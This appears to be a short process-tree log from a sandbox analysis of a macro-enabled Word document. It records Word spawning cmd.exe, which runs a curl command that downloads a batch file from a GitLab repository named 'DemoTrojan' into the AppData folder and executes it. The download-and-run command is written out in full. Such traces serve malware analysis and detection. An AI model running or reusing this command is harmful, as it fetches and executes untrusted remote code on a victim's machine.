WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\Doc1.docm
cmd.exe cmd /c curl -L -o %APPDATA%\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat && %APPDATA%\Pun.bat
curl.exe curl -L -o C:\Users\test22\AppData\Roaming\Pun.bat https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat
No process loaded Click on a process in the tree above to load its data.